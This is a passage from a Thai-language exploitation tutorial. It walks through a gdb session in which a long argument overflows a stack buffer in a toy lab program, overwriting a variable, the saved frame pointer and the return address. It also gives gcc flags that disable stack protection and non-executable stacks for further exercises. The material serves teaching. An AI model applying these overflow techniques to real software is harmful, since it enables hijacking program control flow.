(gdb) r UUUUUUUUUUUUUUUUUUU      # run โปรแกรมอีกรอบ โดยมี argument
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/worawit/tutz/ch05/ex_05_1 UUUUUUUUUUUUUUUUUUU

Breakpoint 1, 0x0804843a in main ()
(gdb) i r   # แสดง registers ทั้งหมด
eax            0xbffff7b4       -1073743948
ecx            0xa988bb4b       -1450656949
edx            0x2      2
ebx            0x293ff4 2703348
esp            0xbffff6f4       0xbffff6f4
ebp            0xbffff708       0xbffff708
esi            0x0      0
edi            0x0      0
eip            0x804843a        0x804843a 
... # ขอละไว้ มันยาว
(gdb) c   # ทำงานต่อ หยุดที่ breakpoint ถัดไป
Continuing.
Before strcpy: magic is 0x00000000

Breakpoint 2, 0x08048467 in main ()
(gdb) display/i $pc   # add display ให้แสดงคำสั่งที่ eip ชี้อยู่ (pc คือ program counter ใช้แทน eip ได้)
1: x/i $pc
=> 0x8048467 : call   0x8048344 
(gdb) x/8x $ebp-0xc   # แสดงค่าตั้งแต่ 0xbffff6fc (buf) ไป 8*4=32 bytes
0xbffff6fc:     0x00293ff4      0x080484b0      0x00000000      0xbffff788
0xbffff70c:     0x00154bd6      0x00000002      0xbffff7b4      0xbffff7c0
(gdb) ni     # ทำงานคำสั่งถัดไป โดยไม่เข้าไปใน call
0x0804846c in main ()
1: x/i $pc      # คำสั่งที่อยู่ใน display list แสดงทุกครั้งที่โปรแกรมหยุด
=> 0x804846c : mov    $0x8048580,%eax
(gdb) x/8x $ebp-0xc  # แสดงค่าที่ memory ของ buf อีกครั้ง (ค่า dword ที่ 3 คือ magic)
0xbffff6fc:     0x55555555      0x55555555      0x55555555      0x55555555
0xbffff70c:     0x00555555      0x00000002      0xbffff7b4      0xbffff7c0
(gdb) i f    # แสดงข้อมูล stack frame
Stack level 0, frame at 0xbffff710:
 eip = 0x804846c in main; saved eip 0x555555
 Arglist at 0xbffff708, args:
 Locals at 0xbffff708, Previous frame s sp is 0xbffff710
 Saved registers:
  ebp at 0xbffff708, eip at 0xbffff70c
(gdb) x/2s $esp     # แสดงข้อมูลที่ esp ในรูปแบบ string จำนวน 2 string
0xbffff6f4:      "\374\366\377\277\360\370\377\277", 'U' 
0xbffff710:      "\002"
(gdb)               # Enter เฉยๆ คือทำคำสั่งข้างบนซ้ำ แต่แสดงที่ address ถัดไป
0xbffff712:      ""
0xbffff713:      ""
(gdb) c  # ให้โปรแกรมทำงานต่อ
Continuing.
After strcpy: magic is 0x55555555
Hahaha, you WIN

Program received signal SIGSEGV, Segmentation fault.
0x00555555 in ?? ()
(gdb) i r ebp eip
ebp            0x55555555       0x55555555
eip            0x555555 0x555555
(gdb)  q
A debugging session is active.

        Inferior 1 [process 1857] will be killed.

Quit anyway? (y or n) y
$ 

ให้สังเกต ที่่คำสั่ง i f จะเห็นว่า saved ebp อยู่ที่ 0xbffff708 และ saved eip อยู่ที่ 0xbffff70c นั้นค่าถูกทำให้เปลี่ยน หลังจากเรียก strcpy (ตัว saved eip ที่มี 00 นำหน้านั้น 00 (NULL) มาจากตัวจบของ string ใน C แต่ที่อยู่ข้างหน้า เพราะแสดงเป็น integer ถ้างงก็คิดเรื่อง endian) แสดงให้เห็นว่า ข้อมูลที่เราใส่เข้าไปนั้น นอกจากจะเขียนทับ magic แล้วยังเขียนทับข้อมูลสำคัญ ที่กำหนดว่าให้โปรแกรมทำงานต่อที่ไหนหลังจากจบ main ทำให้โปรแกรมมีการอ้างถึง memory ที่ invalid คือ eip ชี้ไปที่ 0x00555555 ทำให้เกิด segmentation fault ขึ้น

ส่วนวิธีการ call function ในครั้งนี้จะไม่ใช้การ push argument แล้ว call อย่างที่เห็นใน assembly ข้างบน แต่จะเป็นการจองเนื้อที่บน stack ไว้สำหรับการส่ง argument แล้วใช้วิธี mov เพื่อย้ายค่าไปเป็น argument ต่างๆ แทน

ก่อนจะเริ่มในหัวข้อถ้ดไป ผมอยากให้ลองเอาโปรแกรมในหัวข้อ "Function กับ Stack" โดย compile ตามนี้ (ex_05_2.c)

$ gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o ex_05_2 ex_05_2.c

แล้วให้ลอง
1. disassemble แล้วลองอ่าน assembly ดู
2. ลองใช้ stepi กับ nexti กับคำสั่ง call
3. ลองใช้ x/10s $esp แล้ว Enter ไปเรื่อยๆ จนหมด stack (bottom of stack) แล้วสังเกตค่าที่เป็นตัวอักษร อ่านรู้เรื่อง

Reference:
- GNU GDB Debugger Command Cheat Sheet
- GDB Cheat Sheet